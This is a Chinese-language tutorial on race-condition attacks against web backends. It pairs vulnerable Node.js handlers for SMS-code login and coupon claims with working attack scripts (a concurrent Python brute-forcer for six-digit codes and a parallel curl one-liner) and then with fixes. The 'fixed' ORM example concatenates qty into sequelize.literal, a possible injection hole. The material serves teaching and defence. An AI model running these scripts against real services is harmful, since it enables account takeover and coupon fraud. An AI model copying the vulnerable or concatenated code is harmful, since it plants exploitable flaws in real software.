竞态条件攻击实战

"检查(Check)"和"执行(Act)"不是原子的——这就是竞态条件的本质。当多个并发请求同时通过检查,却在执行时产生了超出预期的结果,漏洞就发生了。

一、什么是竞态条件

经典的"检查后执行"(TOCTOU, Time Of Check To Time Of Use)问题:

时间线:
  请求A: 检查库存(1) → 通过 → [等待] → 扣减库存 → 成功
  请求B: ............检查库存(1) → 通过 → 扣减库存 → 成功
  结果: 两个请求都通过了检查,但库存只有1个 → 超卖!

二、验证码爆破绕过时序攻击

2.1 漏洞场景

后端对验证码有"5次失败即锁定"的限制,但由于检查和计数不是原子操作,攻击者可以并发发送 100 个请求,全部通过检查。

2.2 漏洞代码

// VULNERABLE: 验证码校验存在竞态
app.post('/api/login/sms', async (req, res) => {
  const { phone, code } = req.body;

  const record = await db.SmsRecord.findOne({ where: { phone } });
  if (!record) return res.status(400).json({ error: '请先获取验证码' });

  // ❌ 非原子操作:先读取失败次数
  if (record.failCount >= 5) {
    return res.status(403).json({ error: '验证码已锁定,请1小时后再试' });
  }

  const now = Date.now();
  if (record.expireAt < now) {
    return res.status(400).json({ error: '验证码已过期' });
  }

  if (record.code !== code) {
    // ❌ 再更新失败次数——两个请求可能同时通过上面的检查
    await record.increment('failCount');
    return res.status(400).json({ error: '验证码错误' });
  }

  // 登录成功
  await record.destroy();
  const token = jwt.sign({ phone }, JWT_SECRET);
  res.json({ token });
});

2.3 攻击脚本

# race_attack.py — 并发爆破验证码(仅用于演示)
import asyncio
import aiohttp

async def try_code(session, phone, code):
    async with session.post('http://target/api/login/sms', json={
        'phone': phone,
        'code': f'{code:06d}',
    }) as resp:
        data = await resp.json()
        if 'token' in data:
            print(f'[+] 爆破成功: {code:06d} -> {data["token"]}')
            return True
        return False

async def main():
    phone = '13800138000'
    sem = asyncio.Semaphore(50)  # 并发50个

    async with aiohttp.ClientSession() as session:
        # 并发发送 1000 个验证码尝试
        tasks = []
        for code in range(1000000):
            async def bounded(c=code):
                async with sem:
                    return await try_code(session, phone, c)
            tasks.append(bounded())
        await asyncio.gather(*tasks)

asyncio.run(main())

2.4 攻击效果

正常情况下,6 位数字有 100 万种可能,5 次锁定几乎不可能爆破。但竞态条件下,攻击者可以瞬间发送上千个请求,全部通过 failCount >= 5 的检查,在锁定期生效前完成爆破。

2.5 修复方案:Redis 原子计数器

// FIXED: 使用 Redis 原子 INCR + EXPIRE
app.post('/api/login/sms', async (req, res) => {
  const { phone, code } = req.body;
  const failKey = `sms:fail:${phone}`;
  const lockKey = `sms:lock:${phone}`;

  // ✅ 第一关:检查是否已被锁定(原子 GET)
  const locked = await redis.get(lockKey);
  if (locked) {
    const ttl = await redis.ttl(lockKey);
    return res.status(403).json({ error: `验证码已锁定,请 ${ttl} 秒后再试` });
  }

  const record = await db.SmsRecord.findOne({ where: { phone } });
  if (!record) return res.status(400).json({ error: '请先获取验证码' });
  if (record.expireAt < Date.now()) {
    return res.status(400).json({ error: '验证码已过期' });
  }

  if (record.code !== code) {
    // ✅ 原子计数:INCR + EXPIRE(Lua 脚本保证原子性)
    const failCount = await redis.incr(failKey);
    if (failCount === 1) {
      await redis.expire(failKey, 3600); // 首次设置 1 小时过期
    }
    if (failCount >= 5) {
      // ✅ 超过 5 次 → 设置锁定标记
      await redis.set(lockKey, '1', 'EX', 3600);
      return res.status(403).json({ error: '验证码已锁定,请1小时后再试' });
    }
    return res.status(400).json({ error: `验证码错误,还剩 ${5 - failCount} 次机会` });
  }

  // 登录成功 → 清除失败计数
  await redis.del(failKey);
  await record.destroy();
  const token = jwt.sign({ phone }, JWT_SECRET);
  res.json({ token });
});

三、优惠券重复领取

3.1 漏洞场景

活动期间,每个用户限领一张 100 元优惠券。但由于并发请求可以同时通过"已领数量 < 1"的检查,攻击者可以一次领几十张。

3.2 漏洞代码

// VULNERABLE: 优惠券领取存在竞态
app.post('/api/coupon/claim', async (req, res) => {
  const userId = req.user.id;
  const { couponId } = req.body;

  const coupon = await db.Coupon.findOne({ where: { id: couponId } });
  if (!coupon) return res.status(404).json({ error: '优惠券不存在' });
  if (coupon.remainCount <= 0) {
    return res.status(400).json({ error: '优惠券已领完' });
  }

  // ❌ 查询该用户已领取数量
  const claimedCount = await db.UserCoupon.count({
    where: { userId, couponId, status: 'UNUSED' },
  });

  if (claimedCount >= coupon.limitPerUser) {
    return res.status(400).json({ error: '已达到领取上限' });
  }

  // ❌ 多个请求同时通过上面的检查,都走到了这里
  await db.UserCoupon.create({
    userId, couponId, status: 'UNUSED',
  });
  await coupon.decrement('remainCount'); // 库存扣减也竞态了!

  res.json({ success: true });
});

3.3 攻击脚本

# 并发 50 个请求同时领取
seq 1 50 | xargs -I{} -P 50 curl -s -X POST   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   -d '{"couponId": 1}'   http://target/api/coupon/claim

结果:一个用户瞬间领到了 50 张优惠券,库存也被扣减了 50。

3.4 修复方案:双层锁 + 数据库唯一约束

// FIXED: 双层保护
app.post('/api/coupon/claim', async (req, res) => {
  const userId = req.user.id;
  const { couponId } = req.body;

  // 第一层:Redis 分布式锁(快速失败)
  const lockKey = `coupon:lock:${couponId}:${userId}`;
  const locked = await redis.set(lockKey, '1', 'NX', 'EX', 5);
  if (!locked) {
    return res.status(429).json({ error: '操作太频繁,请稍后再试' });
  }

  try {
    // 第二层:数据库事务 + 唯一索引兜底
    await db.sequelize.transaction(async (t) => {
      const coupon = await db.Coupon.findOne({
        where: { id: couponId },
        transaction: t,
        lock: t.LOCK.UPDATE, // ✅ 行级锁
      });

      if (!coupon || coupon.remainCount <= 0) {
        throw new Error('优惠券已领完');
      }

      // ✅ 直接插入,靠数据库唯一约束报错
      try {
        await db.UserCoupon.create({
          userId, couponId, status: 'UNUSED',
        }, { transaction: t });
      } catch (err) {
        // UNIQUE KEY 冲突 → 已经领过了
        if (err.name === 'SequelizeUniqueConstraintError') {
          throw new Error('已领取过该优惠券');
        }
        throw err;
      }

      await coupon.decrement('remainCount', { transaction: t });
    });

    res.json({ success: true });
  } catch (err) {
    res.status(400).json({ error: err.message });
  } finally {
    await redis.del(lockKey);
  }
});

3.5 数据库唯一索引

-- ✅ 每个用户对每种优惠券只能有一条记录
ALTER TABLE user_coupons
ADD UNIQUE INDEX uk_user_coupon (user_id, coupon_id, status);

-- 优惠券库存字段加约束
ALTER TABLE coupons ADD CONSTRAINT chk_remain CHECK (remain_count >= 0);

四、常见竞态场景一览

场景 检查点 问题 修复
验证码爆破 failCount < 5 非原子计数 Redis INCR + Lua
优惠券领取 count < limit 查询-插入分离 唯一索引 + 行锁
库存扣减 stock > 0 读后写 UPDATE stock = stock - 1 WHERE stock > 0
余额扣减 balance >= amount 读后写 SELECT FOR UPDATE
点赞/投票 voted == false 检查-写入分离 INSERT 唯一索引
抽奖次数 drawCount < limit 非原子 Redis DECR 原子扣减

库存扣减原子写法(推荐)

-- 一条 SQL 完成检查 + 扣减,不存在竞态
UPDATE products
SET stock = stock - #{qty}
WHERE id = #{productId} AND stock >= #{qty}
// ORM 写法
const result = await db.Product.update(
  { stock: db.sequelize.literal('stock - ' + qty) },
  { where: { id: productId, stock: { [db.Sequelize.Op.gte]: qty } } }
);
if (result[0] === 0) {
  throw new Error('库存不足');
}

五、总结

竞态条件的根源是检查和执行之间存在时间窗口。修复思路有三条:

  1. 原子化:把"检查 + 执行"合并成一个原子操作(Redis Lua、单条 SQL、SELECT FOR UPDATE)
  2. :在业务入口加分布式锁或行级锁,串行化并发
  3. 数据库约束兜底:唯一索引、CHECK 约束,即使应用层出问题,数据库也能挡住

记住:只要有"先查再改",就有竞态风险。